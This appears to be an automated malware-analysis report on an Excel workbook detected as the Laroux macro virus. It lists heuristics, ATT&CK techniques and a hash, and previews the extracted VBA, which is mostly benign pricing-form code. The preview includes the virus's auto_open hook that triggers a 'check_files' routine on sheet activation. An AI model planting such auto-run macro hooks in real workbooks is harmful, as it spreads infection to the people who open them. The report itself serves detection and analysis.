MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
This Excel file contains a critical 'Laroux' macro marker and is detected by ClamAV as Xls.Trojan.Laroux-28. The auto_open macro is configured to execute the 'check_files' subroutine upon opening, which is a common technique for malware to establish persistence or initiate malicious actions. The script also attempts to add custom command bars, indicating an effort to interact with the user interface for malicious purposes.
Heuristics 4
-
ClamAV: Xls.Trojan.Laroux-28 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Laroux-28
-
Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUSLegacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 30528 bytes |
SHA-256: 78984b347c4de27f33f000870b5344d6ab1d28a17bf7c2afa2f7eea57a69863c |
|||
|
Detection
ClamAV:
Xls.Trojan.Laroux-28
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "pldt"
Global X, Y, ContSet, Markup As Integer
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "check_files"
On Error GoTo TheEnd
CommandBars.Add(Name:="Pricing", Position:=msoBarFloating, temporary:=True).Visible = True
Set cbutton1 = CommandBars("Pricing").Controls.Add(Type:=msoControlButton, before:=1, temporary:=True)
Set cbutton2 = CommandBars("Pricing").Controls.Add(Type:=msoControlButton, before:=2, temporary:=True)
cbutton1.Visible = True
cbutton1.Style = msoButtonIconAndCaption
cbutton1.Caption = "&Insert"
cbutton1.OnAction = "InsertRow"
cbutton1.FaceId = 296
cbutton2.Visible = True
cbutton2.Style = msoButtonIconAndCaption
cbutton2.Caption = "&Delete"
cbutton2.OnAction = "DeleteRow"
cbutton2.FaceId = 293
TheEnd:
End Sub
Public Sub EnableCustom()
Attribute EnableCustom.VB_ProcData.VB_Invoke_Func = " \n14"
frmCont.txtRack.Enabled = True
frmCont.lblRack.Enabled = True
frmCont.txtASRS.Enabled = True
frmCont.lblASRS.Enabled = True
frmCont.txtLoad.Enabled = True
frmCont.lblLoad.Enabled = True
frmCont.txtSecondary.Enabled = True
frmCont.lblSecondary.Enabled = True
frmCont.txtControls.Enabled = True
frmCont.lblControls.Enabled = True
frmCont.txtInventory.Enabled = True
frmCont.lblInventory.Enabled = True
frmCont.txtPower.Enabled = True
frmCont.lblPower.Enabled = True
frmCont.txtMisc.Enabled = True
frmCont.lblMisc.Enabled = True
frmCont.txtFire.Enabled = True
frmCont.lblFire.Enabled = True
frmCont.txtTransportation.Enabled = True
frmCont.lblTransportation.Enabled = True
frmCont.lblTotal.Enabled = True
frmCont.lblPercent.Enabled = True
End Sub
Public Sub DisableCustom()
Attribute DisableCustom.VB_ProcData.VB_Invoke_Func = " \n14"
frmCont.txtRack.Enabled = False
frmCont.lblRack.Enabled = False
frmCont.txtASRS.Enabled = False
frmCont.lblASRS.Enabled = False
frmCont.txtLoad.Enabled = False
frmCont.lblLoad.Enabled = False
frmCont.txtSecondary.Enabled = False
frmCont.lblSecondary.Enabled = False
frmCont.txtControls.Enabled = False
frmCont.lblControls.Enabled = False
frmCont.txtInventory.Enabled = False
frmCont.lblInventory.Enabled = False
frmCont.txtPower.Enabled = False
frmCont.lblPower.Enabled = False
frmCont.txtMisc.Enabled = False
frmCont.lblMisc.Enabled = False
frmCont.txtFire.Enabled = False
frmCont.lblFire.Enabled = False
frmCont.txtTransportation.Enabled = False
frmCont.lblTransportation.Enabled = False
frmCont.lblPercent.Enabled = False
frmCont.lblTotal.Enabled = False
End Sub
Public Sub GetPercentCustom()
Attribute GetPercentCustom.VB_ProcData.VB_Invoke_Func = " \n14"
Dim I As Double
'Gets Rack %
frmCont.txtRack.Text = Range("RackCont")
I = frmCont.txtRack.Text * 100
I = Format(I, "##0.0")
frmCont.txtRack.Text = I
'Gets AS/RS %
frmCont.txtASRS.Text = Range("ASRSCont")
I = frmCont.txtASRS.Text * 100
I = Format(I, "##0.0")
frmCont.txtASRS.Text = I
'Gets Load Handling Equipment %
frmCont.txtLoad.Text = Range("LoadCont")
I = frmCont.txtLoad.Text * 100
I = Format(I, "##0.0")
frmCont.txtLoad.Text = I
'Gets Secondary Load Handling Equipment %
frmCont.txtSecondary.Text = Range("SecondCont")
I = frmCont.txtSecondary.Text * 100
I = Format(I, "##0.0")
frmCont.txtSecondary.Text = I
'Gets Controls %
frmCont.txtControls.Text = Range("ControlCont")
I = frmCont.txtControls.Text * 100
I = Format(I, "##0.0")
frmCont.txtControls.Text = I
'Gets Inventory %
frmCont.txtInventory.Text = Range("SoftCont") + Range("HardCont")
I = frmCont.txtInventory.Text * 100
I = Format(I, "##0.0")
frmCont.txtInventory.Text = I
'Gets Power Distibution & Communication System %
frmCont.txtPower.T
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.